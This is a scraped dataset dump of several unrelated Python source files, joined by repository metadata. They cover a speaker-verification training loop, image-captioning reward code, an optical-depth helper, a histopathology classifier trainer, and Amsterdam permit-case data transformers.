self.history['e2e_eer'][-1] < np.min([np.inf]+self.history['e2e_eer'][:-1]) or self.history['cos_eer'][-1] < np.min([np.inf]+self.history['cos_eer'][:-1])):\n\t\t\t\t\tself.checkpointing()\n\t\t\telif self.save_cp and self.cur_epoch % save_every == 0:\n\t\t\t\t\tself.checkpointing()\n\n\t\tif self.verbose>1:\n\t\t\tprint('Training done!')\n\n\t\tif self.valid_loader is not None:\n\t\t\tif self.verbose>1:\n\t\t\t\tprint('Best e2e eer and corresponding epoch: {:0.4f}, {}'.format(np.min(self.history['e2e_eer']), 1+np.argmin(self.history['e2e_eer'])))\n\t\t\t\tprint('Best cos eer and corresponding epoch: {:0.4f}, {}'.format(np.min(self.history['cos_eer']), 1+np.argmin(self.history['cos_eer'])))\n\t\t\t\tprint('Best fus eer and corresponding epoch: {:0.4f}, {}'.format(np.min(self.history['fus_eer']), 1+np.argmin(self.history['fus_eer'])))\n\n\t\t\treturn [np.min(self.history['e2e_eer']), np.min(self.history['cos_eer'])]\n\t\telse:\n\t\t\treturn [np.min(self.history['train_loss'])]\n\n\tdef train_step(self, batch):\n\n\t\tself.model.train()\n\t\tself.optimizer.zero_grad()\n\n\t\tutterances, utterances_1, utterances_2, utterances_3, utterances_4, y = batch\n\n\t\tutterances = torch.cat([utterances, utterances_1, utterances_2, utterances_3, utterances_4], dim=0)\n\t\ty = torch.cat(5*[y], dim=0).squeeze().contiguous()\n\n\t\tridx = np.random.randint(utterances.size(3)//4, utterances.size(3))\n\t\tutterances = utterances[:,:,:,:ridx].contiguous()\n\n\t\tif self.cuda_mode:\n\t\t\tutterances = utterances.to(self.device, non_blocking=True)\n\t\t\ty = y.to(self.device, non_blocking=True)\n\n\t\tout, embeddings = self.model.forward(utterances)\n\t\tout_norm = F.normalize(out, p=2, dim=1)\n\n\t\tif not self.ablation:\n\t\t\tce_loss = self.ce_criterion(self.model.out_proj(out_norm, y), y)\n\t\telse:\n\t\t\tce_loss = 0.0\n\n\t\t# Get all triplets now for bin classifier\n\t\ttriplets_idx = self.harvester.get_triplets(out_norm.detach(), y)\n\n\t\tif self.cuda_mode:\n\t\t\ttriplets_idx = triplets_idx.to(self.device, non_blocking=True)\n\n\t\ttry:\n\n\t\t\temb_a = torch.index_select(embeddings, 0, triplets_idx[:, 0])\n\t\t\temb_p = torch.index_select(embeddings, 0, triplets_idx[:, 1])\n\t\t\temb_n = torch.index_select(embeddings, 0, triplets_idx[:, 2])\n\n\t\t\temb_ap = torch.cat([emb_a, emb_p],1)\n\t\t\temb_an = torch.cat([emb_a, emb_n],1)\n\t\t\temb_ = torch.cat([emb_ap, emb_an],0)\n\n\t\t\ty_ = torch.cat([torch.rand(emb_ap.size(0))*self.disc_label_smoothing+(1.0-self.disc_label_smoothing), torch.rand(emb_an.size(0))*self.disc_label_smoothing],0) if isinstance(self.ce_criterion, LabelSmoothingLoss) else torch.cat([torch.ones(emb_ap.size(0)), torch.zeros(emb_an.size(0))],0)\n\n\t\t\tif isinstance(self.ce_criterion, LabelSmoothingLoss):\n\t\t\t\ty_ = torch.clamp(y_, min=0.0, max=1.0)\n\n\t\t\tif self.cuda_mode:\n\t\t\t\ty_ = y_.to(self.device, non_blocking=True)\n\n\t\t\tloss_bin = 0.0\n\t\t\tpred_bin = self.model.forward_bin(emb_)\n\n\t\t\tif self.model.ndiscriminators>1:\n\t\t\t\tfor pred in pred_bin:\n\t\t\t\t\tloss_bin += torch.nn.BCELoss()(pred.squeeze(), y_)\n\t\t\telse:\n\t\t\t\tloss_bin = torch.nn.BCELoss()(pred_bin.squeeze(), y_)\n\n\t\texcept IndexError:\n\n\t\t\tloss_bin = torch.ones(1).to(self.device, non_blocking=True)\n\n\t\tloss = ce_loss + loss_bin\n\t\tloss.backward()\n\t\tgrad_norm = torch.nn.utils.clip_grad_norm_(self.model.parameters(), self.max_gnorm)\n\t\tself.optimizer.step()\n\n\t\tif self.logger:\n\t\t\tself.logger.add_scalar('Info/Grad_norm', grad_norm, self.total_iters)\n\n\t\treturn loss.item(), ce_loss.item() if not self.ablation else 0.0, loss_bin.item()/self.model.ndiscriminators\n\n\tdef pretrain_step(self, batch):\n\n\t\tself.model.train()\n\t\tself.optimizer.zero_grad()\n\n\t\tutterances, utterances_1, utterances_2, utterances_3, utterances_4, y = batch\n\n\t\tutterances = torch.cat([utterances, utterances_1, utterances_2, utterances_3, utterances_4], dim=0)\n\t\ty = torch.cat(5*[y], dim=0).squeeze().contiguous()\n\n\t\tridx = np.random.randint(utterances.size(3)//4, utterances.size(3))\n\t\tutterances = utterances[:,:,:,:ridx].contiguous()\n\n\t\tif self.cuda_mode:\n\t\t\tutt, y = utt.to(self.device), y.to(self.device).squeeze()\n\n\t\tout, embeddings = self.model.forward(utt)\n\t\tout_norm = F.normalize(out, p=2, dim=1)\n\n\t\tloss = F.self.ce_criterion(self.model.out_proj(out_norm, y), y)\n\n\t\tloss.backward()\n\t\tself.optimizer.step()\n\t\treturn loss.item()\n\n\n\tdef valid(self, batch):\n\n\t\tself.model.eval()\n\n\t\twith torch.no_grad():\n\n\t\t\tutterances, utterances_1, utterances_2, utterances_3, utterances_4, y = batch\n\n\t\t\tutterances = torch.cat([utterances, utterances_1, utterances_2, utterances_3, utterances_4], dim=0)\n\t\t\ty = torch.cat(5*[y], dim=0).squeeze().contiguous()\n\n\t\t\tridx = np.random.randint(utterances.size(3)//4, utterances.size(3))\n\t\t\tutterances = utterances[:,:,:,:ridx].contiguous()\n\n\t\t\tif self.cuda_mode:\n\t\t\t\tutterances = utterances.to(self.device)\n\t\t\t\ty = y.to(self.device)\n\n\t\t\tout, embeddings = self.model.forward(utterances)\n\t\t\tout_norm = F.normalize(out, p=2, dim=1)\n\n\t\t\t# Get all triplets now for bin classifier\n\t\t\ttriplets_idx = self.harvester.get_triplets(out_norm.detach(), y)\n\t\t\ttriplets_idx = triplets_idx.to(self.device)\n\n\t\t\temb_a = torch.index_select(embeddings, 0, triplets_idx[:, 0])\n\t\t\temb_p = torch.index_select(embeddings, 0, triplets_idx[:, 1])\n\t\t\temb_n = torch.index_select(embeddings, 0, triplets_idx[:, 2])\n\n\t\t\temb_ap = torch.cat([emb_a, emb_p],1)\n\t\t\temb_an = torch.cat([emb_a, emb_n],1)\n\n\t\t\tif self.model.ndiscriminators>1:\n\t\t\t\te2e_scores_p = torch.cat(self.model.forward_bin(emb_ap), 1).mean(1).squeeze()\n\t\t\t\te2e_scores_n = torch.cat(self.model.forward_bin(emb_an), 1).mean(1).squeeze()\n\t\t\telse:\n\t\t\t\te2e_scores_p = self.model.forward_bin(emb_ap).squeeze()\n\t\t\t\te2e_scores_n = self.model.forward_bin(emb_an).squeeze()\n\n\t\t\tcos_scores_p = torch.nn.functional.cosine_similarity(emb_a, emb_p)\n\t\t\tcos_scores_n = torch.nn.functional.cosine_similarity(emb_a, emb_n)\n\n\t\treturn np.concatenate([e2e_scores_p.detach().cpu().numpy(), e2e_scores_n.detach().cpu().numpy()], 0), np.concatenate([cos_scores_p.detach().cpu().numpy(), cos_scores_n.detach().cpu().numpy()], 0), np.concatenate([np.ones(e2e_scores_p.size(0)), np.zeros(e2e_scores_n.size(0))], 0), embeddings.detach().cpu().numpy(), y.detach().cpu().numpy()\n\n\tdef checkpointing(self):\n\n\t\t# Checkpointing\n\t\tif self.verbose>1:\n\t\t\tprint('Checkpointing...')\n\t\tckpt = {'model_state': self.model.state_dict(),\n\t\t'optimizer_state': self.optimizer.state_dict(),\n\t\t'ndiscriminators': self.model.ndiscriminators,\n\t\t'r_proj_size': self.model.r_proj_size,\n\t\t'dropout_prob': self.model.dropout_prob,\n\t\t'n_hidden': self.model.n_hidden,\n\t\t'hidden_size': self.model.hidden_size,\n\t\t'latent_size': self.model.latent_size,\n\t\t'sm_type': self.model.sm_type,\n\t\t'ncoef': self.model.ncoef,\n\t\t'history': self.history,\n\t\t'total_iters': self.total_iters,\n\t\t'cur_epoch': self.cur_epoch}\n\t\ttry:\n\t\t\ttorch.save(ckpt, self.save_epoch_fmt.format(self.cur_epoch))\n\t\texcept:\n\t\t\ttorch.save(ckpt, self.save_epoch_fmt)\n\n\tdef load_checkpoint(self, ckpt):\n\n\t\tif os.path.isfile(ckpt):\n\n\t\t\tckpt = torch.load(ckpt, map_location = lambda storage, loc: storage)\n\t\t\t# Load model state\n\t\t\tself.model.load_state_dict(ckpt['model_state'])\n\t\t\t# Load optimizer state\n\t\t\tself.optimizer.load_state_dict(ckpt['optimizer_state'])\n\t\t\tself.optimizer.step_num = ckpt['total_iters']\n\t\t\t# Load history\n\t\t\tself.history = ckpt['history']\n\t\t\tself.total_iters = ckpt['total_iters']\n\t\t\tself.cur_epoch = ckpt['cur_epoch']\n\t\t\tif self.cuda_mode:\n\t\t\t\tself.model = self.model.to(self.device)\n\t\t\tif self.model.ndiscriminators > 1 and self.model.r_proj_size > 0:\n\t\t\t\tfor disc in self.model.classifier:\n\t\t\t\t\tdisc[0].weight.requires_grad = False\n\n\t\telse:\n\t\t\tprint('No checkpoint found at: {}'.format(ckpt))\n\n\tdef print_grad_norms(self):\n\t\tnorm = 0.0\n\t\tfor params in list(self.model.parameters()):\n\t\t\tnorm+=params.grad.norm(2).item()\n\t\tprint('Sum of grads norms: {}'.format(norm))\n","repo_name":"joaomonteirof/e2e_verification","sub_path":"asv/train_loop.py","file_name":"train_loop.py","file_ext":"py","file_size_in_byte":15392,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"37"} +{"seq_id":"30078311298","text":"import numpy as np\nimport torch\nimport torch.nn as nn\nimport tqdm\nfrom collections import defaultdict\n\nfrom .cider.pyciderevalcap.ciderD.ciderD import CiderD\nfrom .bleu.bleu import Bleu\n\n\ndef _array_to_str(arr, sos_token, eos_token):\n arr = list(arr)\n if arr[0] == sos_token:\n arr = arr[1:]\n out = ''\n for i in range(len(arr)):\n if arr[i] == eos_token:\n break\n out += str(arr[i]) + ' '\n out += str(eos_token)\n return out.strip()\n\n\ndef get_ciderd_scorer(split_captions, sos_token, eos_token):\n print('====> get_ciderd_scorer begin')\n captions = {}\n for caps in split_captions.values():\n captions.update(caps)\n\n refs_idxs = []\n for caps in tqdm.tqdm(captions.values(), ncols=100):\n ref_idxs = []\n for cap in caps:\n ref_idxs.append(_array_to_str(cap, sos_token, eos_token))\n refs_idxs.append(ref_idxs)\n\n scorer = CiderD(refs=refs_idxs)\n print('====> get_ciderd_scorer end')\n return scorer\n\n\ndef get_self_critical_reward(sample_captions, greedy_captions, fns, ground_truth,\n sos_token, eos_token, scorer):\n batch_size = len(fns)\n sample_captions = sample_captions.cpu().numpy()\n greedy_captions = greedy_captions.cpu().numpy()\n assert sample_captions.shape[0] == greedy_captions.shape[0] == batch_size\n max_seq_len = sample_captions.shape[1] + 1\n sample_result = []\n greedy_result = []\n gts = {}\n for i, fn in enumerate(fns):\n sample_result.append({'image_id': fn, 'caption': [_array_to_str(sample_captions[i], sos_token, eos_token)]})\n greedy_result.append({'image_id': fn, 'caption': [_array_to_str(greedy_captions[i], sos_token, eos_token)]})\n caps = []\n for cap in ground_truth[fn]:\n caps.append(_array_to_str(cap[:max_seq_len], sos_token, eos_token))\n gts[fn] = caps\n all_result = sample_result + greedy_result\n if isinstance(scorer, CiderD):\n _, scores = scorer.compute_score(gts, all_result)\n elif isinstance(scorer, Bleu):\n _, scores = scorer.compute_score(gts, all_result)\n scores = np.array(scores[3])\n else:\n raise Exception('do not support this scorer: %s' % type(scorer))\n\n scores = scores[:batch_size] - scores[batch_size:]\n rewards = np.repeat(scores[:, np.newaxis], sample_captions.shape[1], 1)\n return rewards\n\n\nclass RewardCriterion(nn.Module):\n def __init__(self):\n super(RewardCriterion, self).__init__()\n\n def forward(self, seq_logprobs, seq_masks, reward):\n output = - seq_logprobs * seq_masks * reward\n output = torch.sum(output) / torch.sum(seq_masks)\n\n return output\n","repo_name":"ezeli/BUTD_model","sub_path":"self_critical/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":2685,"program_lang":"python","lang":"en","doc_type":"code","stars":41,"dataset":"github-code","pt":"37"} +{"seq_id":"24213473674","text":"#-------------------------------------------------------------------------------\n# function/struct for computing optical depth\n#-------------------------------------------------------------------------------\n# VERSION\n#\n# 0.1.0 \n# 2021/07/06 u.k. ...\n#-------------------------------------------------------------------------------\n\nfrom ..ImportAll import *\n\nimport numpy as _numpy\n\ndef make_tau_(ND : T_INT, e_max : T_FLOAT, relax : T_FLOAT = 0.):\n \"\"\"\n make a 1D mesh of log scale from 0 to 1Ee_max with ND grid points.\n\n Input:\n ND: (,), number of grid points\n e_max: (,), with minvalue of 1Ee_max\n relax: (,), 0 -> 1 logspace -> linspace\n\n Output:\n Tau: (ND,), optical depth,\n \"\"\"\n if relax < 0.:\n relax = 0\n if relax > 1.:\n relax = 1.\n\n e_min = -4.\n tau = _numpy.empty(ND,dtype=DT_NB_FLOAT)\n mid = e_max - _numpy.log10(2.)\n tau[:ND//2+1] = _numpy.logspace(e_min,mid,ND//2+1)*(1-relax) + _numpy.linspace(10.**e_min,10.**mid,ND//2+1)*relax\n \n tau[0] = 0\n tau[ND//2+1:] = (-tau[:ND//2+1][::-1]+2*tau[ND//2])[1:]\n\n return tau\n\ndef z_to_dtau_(z : T_ARRAY, alpha : T_ARRAY):\n r\"\"\"[summary]\n\n Parameters\n ----------\n z : T_ARRAY, [cm]\n 1D depth with z[0] as the surface and z[i] < z[i+1]\n alpha : T_ARRAY, [cm^{-1}]\n extinction coefficient\n\n Returns\n --------\n dtau : T_ARRAY, [-]\n difference of optical depth\n \"\"\"\n nZ = z.shape[0]\n dtau = _numpy.zeros(nZ, dtype=DT_NB_FLOAT)\n ","repo_name":"kouui/spectra","sub_path":"spectra_src/RadiativeTransfer/Tau.py","file_name":"Tau.py","file_ext":"py","file_size_in_byte":1533,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"15423290826","text":"from torch.utils.data import DataLoader\nimport torch\nimport numpy as np\nimport random\nfrom torch.utils.tensorboard import SummaryWriter\nfrom model.utils import get_logger\nimport os\nfrom numpy import ndarray\nfrom torch.optim.lr_scheduler import CosineAnnealingLR\nfrom tqdm import tqdm\nfrom typing import Tuple, Iterable, Optional\nfrom sklearn.metrics import f1_score\nfrom sklearn.metrics import confusion_matrix\n\n\nclass SRAClsTrainer:\n\n def __init__(\n self,\n model: torch.nn.Module,\n train_loader: DataLoader,\n val_loader: DataLoader,\n name_classes: Optional[Iterable[str]] = None,\n opt_lr: Optional[float] = 1,\n t_max: Optional[int] = 100,\n device: Optional[str] = \"cpu\",\n logger: Optional[object] = None,\n prefix: Optional[str] = None,\n loadpath: Optional[str] = None,\n freeze: Optional[bool] = True,\n ) -> None:\n \"\"\"\n Create trainer for histopathology dataset.\n\n Parameters\n ----------\n model: callable\n Model to train.\n train_loader: callable\n Dataloader for training data.\n val_loader: callable\n Dataloader for validation data.\n opt_lr: float\n Adam learning rate. Default value is 1.\n t_max: int\n T max for the cosine LR scheduler. Should be equal to the number of epochs. Default value is 200.\n device: str, optional\n Choose whether to use cuda for training or not.\n logger: object, optional\n Logger to use for output. If None, create a new one.\n prefix: str, optional\n Prefix to add in front of file to discriminate them. Default value is empty\n loadpath: str, optional\n Path to pretrained model.\n freeze: bool\n If True, the model weights are frozen except for the final fully connected (fc3)\n \"\"\"\n\n # Create logger is needed\n self.logger = logger\n if self.logger is None:\n self.logger = get_logger()\n\n # Model\n self.prefix = prefix\n self.device = device\n self.model = model.to(device=self.device)\n self.freeze = freeze\n self.name_classes = name_classes\n\n # Data loader\n self.train_loader = train_loader\n self.val_loader = val_loader\n self.loss = torch.nn.CrossEntropyLoss()\n\n # Load path if existing\n self.load(loadpath)\n\n # Optimizer and objective\n self.optimizer = torch.optim.Adam(\n params=model.parameters(),\n lr=opt_lr,\n weight_decay=0,\n )\n\n parameters = list(filter(lambda p: p.requires_grad, model.parameters()))\n self.optimizer = torch.optim.SGD(\n params=parameters,\n lr=opt_lr,\n weight_decay=0\n )\n self.scheduler = CosineAnnealingLR(self.optimizer, T_max=t_max, eta_min=0)\n\n # Output files\n self.writer = SummaryWriter(comment=prefix)\n\n def load(self, loadpath: str) -> None:\n\n if loadpath is None:\n self.logger.error('No weights provided ...')\n return\n\n # Load path if existing\n if os.path.exists(loadpath):\n self.logger.debug('Loading weights from: {} ...'.format(loadpath))\n stat = torch.load(loadpath)\n err = self.model.load_state_dict(stat['model_state_dict'], strict=True)\n\n # Sanity check of the matching keys of the model\n self.logger.debug('Checking keys ...')\n if len(err.missing_keys) != 0:\n # Missing keys should be 3rd fully connected to train\n is_known = ['encoder_q.fc.3' in key for key in err.missing_keys]\n if not all(is_known):\n unknown = np.array(err.missing_keys)[np.logical_not(is_known)]\n raise Exception('Unexpected missing keys: {}'.format(unknown))\n if len(err.unexpected_keys) != 0:\n # Unexpected keys can be the Queue and encorder_q that are not used here.\n is_known = ['queue' in key or 'encoder_k' in key for key in err.unexpected_keys]\n if not all(is_known):\n unknown = np.array(err.unexpected_keys)[np.logical_not(is_known)]\n raise Exception('Unexpected missing keys: {}'.format(unknown))\n\n if self.freeze:\n self.logger.debug('Freezing layers ...')\n for name, param in self.model.named_parameters():\n if 'encoder_q.fc.3' not in name:\n param.requires_grad = False\n\n # self.logger.debug('Init model fc3 weights with N(0, 0.01) ...')\n # self.model.encoder_q.fc[3].weight.data.normal_(mean=0.0, std=0.01)\n # self.model.encoder_q.fc[3].bias.data.zero_()\n\n else:\n self.logger.error('Weights not found: {}'.format(loadpath))\n raise Exception(\"Non-valid loading path ...\")\n\n @staticmethod\n def init_seed(seed: Optional[int] = 0) -> None:\n \"\"\"\n Set seed for torch, numpy and random for reproducibility.\n\n Parameters\n ----------\n seed: int, optional\n Seed value for reproducibility. Default value is 0.\n\n \"\"\"\n torch.manual_seed(seed)\n np.random.seed(seed)\n random.seed(seed)\n torch.backends.cudnn.deterministic = True\n torch.backends.cudnn.benchmark = False\n\n def train(self, n_epochs: Optional[int] = 200) -> None:\n \"\"\"\n Train model for a certain numbr of epochs.\n\n Parameters\n ----------\n n_epochs: int, optional\n Number of epochs to train. Default value is 200.\n \"\"\"\n\n # Initialize seeds and loss max\n self.init_seed()\n best_valid_losses = np.Inf\n\n # Iterate over epochs\n\n\n y_pred_v, y_cgt_v, loss_eval, _ = self.eval()\n conf_mat = confusion_matrix(y_pred_v.argmax(axis=1), y_cgt_v, labels=np.arange(9))\n out = 0\n for i in range(9):\n if i == 2:\n b = (conf_mat[i][i] + conf_mat[4][i]) / conf_mat[:, i].sum()\n elif i == 7:\n b = (conf_mat[i][i] + conf_mat[5][i]) / conf_mat[:, i].sum()\n elif i in [4,5]:\n continue\n else:\n b = ((conf_mat[i][i]) / conf_mat[:, i].sum())\n print(b)\n out +=b\n print('all:', out/7 )\n print(conf_mat)\n o = 0\n for i in range(9):\n o += conf_mat[i][i]\n o += conf_mat[4,2]\n o += conf_mat[5,7]\n acc = o/conf_mat.sum()\n print(acc)\n\n metric_val = self.metrics(y_cgt_v, y_pred_v.argmax(axis=1), self.name_classes)\n\n # Scheduler step\n self.scheduler.step()\n\n # Log writer\n self.logger.debug('Loss val: {:.3f}'.format(loss_eval))\n self.logger.debug('F1 val:\\n\\t{}'.format(\"\\t\".join([\"{}: {:.3f}\".format(a, b) for a, b in metric_val.items()])))\n self.writer.add_scalars('Loss', {'val': loss_eval}, 0)\n self.writer.add_scalars('AccuracyVal', metric_val, 0)\n\n\n @staticmethod\n def metrics(cgt: ndarray, pred: ndarray, name_classes: Optional[Iterable[str]] = None):\n \"\"\"\n Compute metrics (accuracy) for all classes\n\n Parameters\n ----------\n cgt: ndarray (, N)\n Ground truth of classes\n pred: ndarray (,N)\n Predicted classes\n name_classes: Iterable of string (, C)\n Classes names\n\n Returns\n -------\n metrics: dict\n Dictionary with name od the classes as entries and metric as values. \"ALL\" is used for the overall\n performance of the prediction.\n \"\"\"\n # Compute accuracy over all classes\n results = {'ALL': f1_score(y_true=cgt, y_pred=pred, average='weighted')}\n # Check if name of classes fed otherwise returns\n if name_classes is None:\n return results\n # Accuracy over classes\n for i, name in enumerate(name_classes):\n results[name] = f1_score(y_true=np.array(cgt) == i, y_pred=np.array(pred) == i, average='binary')\n return results\n\n def eval(self) -> Tuple[ndarray, ndarray, float, float]:\n \"\"\"\n Evaluate model on dataset\n\n Returns\n -------\n y_preds: ndarray\n Output prediction probabilities.\n y_labels: ndarray\n Classes ground truth.\n loss: float\n Average loss over all batches.\n accuracy: float\n Average accuracy over all batches.\n \"\"\"\n\n self.model.eval()\n\n n_correct = []\n n_losses = []\n y_preds = []\n y_labels = []\n\n for x_img, y_label in tqdm(self.val_loader, desc='val'):\n\n # Use cuda or not\n x_img = x_img.to(self.device)\n y_label = y_label.to(self.device)\n\n # Calculate loss and metrics\n y_pred = self.model(x_img)\n loss = self.loss(y_pred, y_label)\n\n # Append accuracy and loss\n n_correct.extend(y_label.eq(y_pred.argmax(dim=1)).detach().cpu().numpy())\n n_losses.append(loss.detach().cpu().numpy())\n y_preds.extend(y_pred.detach().cpu().numpy())\n y_labels.extend(y_label.detach().cpu().numpy())\n\n return np.array(y_preds), np.array(y_labels), np.mean(n_losses), np.mean(n_correct)\n\n def save(self, path) -> None:\n \"\"\"\n Save model and optimizer state.\n \"\"\"\n torch.save({\n 'model_state_dict': self.model.state_dict(),\n }, path)\n\n\ndef process_accumulated_output(output, batch_size, nr_classes):\n #\n def uneven_seq_to_np(seq):\n item_count = batch_size * (len(seq) - 1) + len(seq[-1])\n cat_array = np.zeros((item_count,) + seq[0][0].shape, seq[0].dtype)\n # BUG: odd len even\n if len(seq) < 2:\n return seq[0]\n for idx in range(0, len(seq) - 1):\n cat_array[idx * batch_size:\n (idx + 1) * batch_size] = seq[idx]\n cat_array[(idx + 1) * batch_size:] = seq[-1]\n return cat_array\n\n proc_output = dict()\n true = uneven_seq_to_np(output['true'])\n # threshold then get accuracy\n logit = uneven_seq_to_np(output['logit'])\n\n pred = np.argmax(logit, axis=-1)\n # pred_c = [covert_dict[pred_c[idx]] for idx in range(len(pred_c))]\n acc = np.mean(pred == true)\n print('acc', acc)\n # print(classification_report(true, pred_c, labels=[0, 1, 2, 3]))\n # confusion matrix\n conf_mat = confusion_matrix(true, pred, labels=np.arange(nr_classes))\n proc_output.update(acc=acc, conf_mat=conf_mat,)\n return proc_output\n\n# SRA\n# array([[596, 0, 1, 0, 0, 0, 0, 2, 0],\n# [ 20, 622, 3, 0, 0, 0, 0, 0, 0],\n# [ 0, 1, 170, 116, 0, 0, 0, 4, 68],\n# [ 0, 0, 0, 254, 0, 0, 0, 0, 3],\n# [ 7, 2, 303, 0, 0, 0, 0, 20, 0],\n# [ 2, 0, 76, 18, 0, 0, 0, 356, 3],\n# [ 0, 0, 4, 190, 0, 0, 624, 1, 11],\n# [ 0, 0, 68, 18, 0, 0, 1, 239, 4],\n# [ 0, 0, 0, 29, 0, 0, 0, 3, 536]])\n# 0.8457142857142858\n\n# a = 596 + 622 + 170+303+254+624+356+239+536 = 3700\n# b = 544 + 387 + 171+249 +337+622+304+285+563 = 3462\n# MoCo\n# [[601 2 2 0 0 0 0 2 0]\n# [ 14 620 1 0 0 0 0 0 0]\n# [ 0 1 169 73 0 0 0 3 27]\n# [ 0 0 0 286 0 0 0 0 3]\n# [ 7 2 279 0 0 0 0 14 1]\n# [ 2 0 66 14 0 0 0 345 3]\n# [ 0 0 7 201 0 0 625 2 17]\n# [ 0 0 99 23 0 0 0 253 4]\n# [ 1 0 2 28 0 0 0 6 570]]\n# 0.8566857142857143\n","repo_name":"trinhvg/IMPash","sub_path":"model/sra_cls_trainer_infer.py","file_name":"sra_cls_trainer_infer.py","file_ext":"py","file_size_in_byte":11846,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"37"} +{"seq_id":"40956418341","text":"import re\nfrom datetime import date\n\nfrom app.config import IS_PRODUCTION\nfrom app.field_parsers import (\n get_fields,\n get_translation,\n to_date,\n to_int,\n to_string,\n to_string_if_exists,\n to_time,\n to_bool,\n to_bool_if_exists,\n)\n\n\ndef static(method):\n return method.__func__\n\n\nclass Zaak:\n enabled = True\n zaak_source = None\n\n zaak_type = None\n title = None\n zaak = None\n\n status_translations = []\n decision_translations = []\n parse_fields = []\n\n def __init__(self, zaak_source: dict):\n self.zaak_source = zaak_source\n\n if not self.has_valid_source_data():\n return\n self.transform()\n self.after_transform()\n\n def transform(self):\n # Data that's present in every Zaak\n self.zaak = {\n \"id\": self.zaak_source[\"id\"],\n \"caseType\": self.zaak_type,\n \"title\": self.to_title(),\n \"identifier\": self.to_identifier(),\n \"dateRequest\": self.to_date_request(),\n \"dateWorkflowActive\": self.to_date_request(),\n \"status\": self.to_status(),\n \"decision\": self.to_decision(),\n \"dateDecision\": self.to_date_decision(),\n \"description\": self.to_description(),\n \"processed\": self.to_processed(),\n }\n\n # Arbitrary data for individual Zaken\n self.zaak.update(get_fields(self.parse_fields, self.zaak_source))\n\n def after_transform(self):\n \"\"\"Post transformation\"\"\"\n\n defer_transform = None # Should be @staticmethod if defined\n # @staticmethod\n # def defer_transform(self, zaak_deferred, decosjoin_service):\n # return zaak_deferred\n\n def to_title(self):\n \"\"\"Returns the title we want to give to the particular case\"\"\"\n return self.title\n\n def to_identifier(self): # Zaak kenmerk\n return to_string_if_exists(self.zaak_source, \"mark\")\n\n def to_date_request(self): # Startdatum zaak\n return to_date(to_string_if_exists(self.zaak_source, \"document_date\"))\n\n def to_status(self) -> str:\n status_source = to_string_if_exists(self.zaak_source, \"title\")\n return get_translation(status_source, self.status_translations, True)\n\n def to_decision(self) -> str: # Resultaat (besluit)\n decision_source = to_string_if_exists(self.zaak_source, \"dfunction\")\n return get_translation(decision_source, self.decision_translations, True)\n\n def to_date_decision(self) -> str: # Datum afhandeling\n return to_date(to_string_if_exists(self.zaak_source, \"date5\"))\n\n def to_description(self) -> str:\n return to_string_if_exists(self.zaak_source, \"subject1\")\n\n def to_processed(self):\n return to_bool_if_exists(self.zaak_source, \"processed\")\n\n def result(self):\n return self.zaak\n\n def type(self):\n return self.zaak_type\n\n def has_valid_source_data(self):\n return True\n\n def has_valid_payment_status(self):\n payment_status = to_string_if_exists(self.zaak_source, \"text11\")\n payment_method = to_string_if_exists(self.zaak_source, \"text12\")\n\n if payment_status == \"Nogniet\" and payment_method == \"Wacht op online betaling\":\n return False\n\n return True\n\n\n#######################\n# Zaak configurations #\n#######################\n\n\nclass TVM_RVV_Object(Zaak):\n zaak_type = \"TVM - RVV - Object\"\n title = \"Tijdelijke verkeersmaatregel (TVM-RVV-Object)\"\n\n parse_fields = [\n {\"name\": \"dateStart\", \"from\": \"date6\", \"parser\": to_date},\n {\"name\": \"dateEnd\", \"from\": \"date7\", \"parser\": to_date},\n {\"name\": \"timeStart\", \"from\": \"text10\", \"parser\": to_time},\n {\"name\": \"timeEnd\", \"from\": \"text13\", \"parser\": to_time},\n {\"name\": \"kenteken\", \"from\": \"text9\", \"parser\": to_string},\n {\"name\": \"location\", \"from\": \"text6\", \"parser\": to_string},\n ]\n\n def after_transform(self):\n # if end date is not defined, its the same as date start\n if not self.zaak[\"dateEnd\"]:\n self.zaak[\"dateEnd\"] = self.zaak[\"dateStart\"]\n\n def to_decision(self):\n value = super().to_decision()\n\n translate_values = [\n \"verleend met borden\",\n \"verleend zonder bebording\",\n \"verleend zonder borden\",\n ]\n\n if value and value.lower() in translate_values:\n return \"Verleend\"\n\n return value\n\n def has_valid_source_data(self):\n return super().has_valid_payment_status()\n\n\nclass VakantieVerhuurVergunning(Zaak):\n zaak_type = \"Vakantieverhuur vergunningsaanvraag\"\n title = \"Vergunning vakantieverhuur\"\n\n @staticmethod\n def to_vakantie_verhuur_vergunning_status(value):\n # Vakantieverhuur vergunningen worden direct verleend (en dus voor Mijn Amsterdam afgehandeld)\n return \"Afgehandeld\"\n\n @staticmethod\n def to_vakantie_verhuur_vergunning_decision(value):\n # Vakantieverhuur vergunningen worden na betaling direct verleend en per mail toegekend zonder dat de juiste status in Decos wordt gezet.\n # Later, na controle, wordt mogelijk de vergunning weer ingetrokken. Geplande/Afgemelde Verhuur is een uizondering in relatie tot de reguliere statusbeschrijvingen\n # daar \"Verleend\" een resultaat is en geen status.\n if value and \"ingetrokken\" in value.lower():\n return \"Ingetrokken\"\n\n return \"Verleend\"\n\n @staticmethod\n def next_april_first(case_date: date) -> date:\n return date(case_date.year + 1, 4, 1)\n\n parse_fields = [\n {\"name\": \"location\", \"from\": \"text6\", \"parser\": to_string},\n {\n \"name\": \"dateStart\",\n \"from\": \"document_date\",\n \"parser\": to_date,\n }, # same as dateRequest\n # Custom decision + status transformations based on business logic\n {\n \"name\": \"status\",\n \"from\": \"title\",\n \"parser\": static(to_vakantie_verhuur_vergunning_status),\n },\n {\n \"name\": \"decision\",\n \"from\": \"dfunction\",\n \"parser\": static(to_vakantie_verhuur_vergunning_decision),\n },\n ]\n\n def after_transform(self):\n # The validity of this case runs from april 1st until the next. set the end date to the next april the 1st\n self.zaak[\"dateEnd\"] = self.next_april_first(self.zaak[\"dateRequest\"])\n\n\nclass BBVergunning(Zaak):\n zaak_type = \"B&B - vergunning\"\n title = \"Vergunning bed & breakfast\"\n\n date_workflow_active_step_title = \"B&B - vergunning - Behandelen\"\n\n @staticmethod\n def to_transition_agreement(value) -> bool:\n if value and value.lower() == \"verleend met overgangsrecht\":\n return True\n return False\n\n @staticmethod\n def defer_transform(zaak_deferred, decosjoin_service):\n date_workflow_active = decosjoin_service.get_workflow_date_by_step_title(\n zaak_deferred[\"id\"], BBVergunning.date_workflow_active_step_title\n )\n 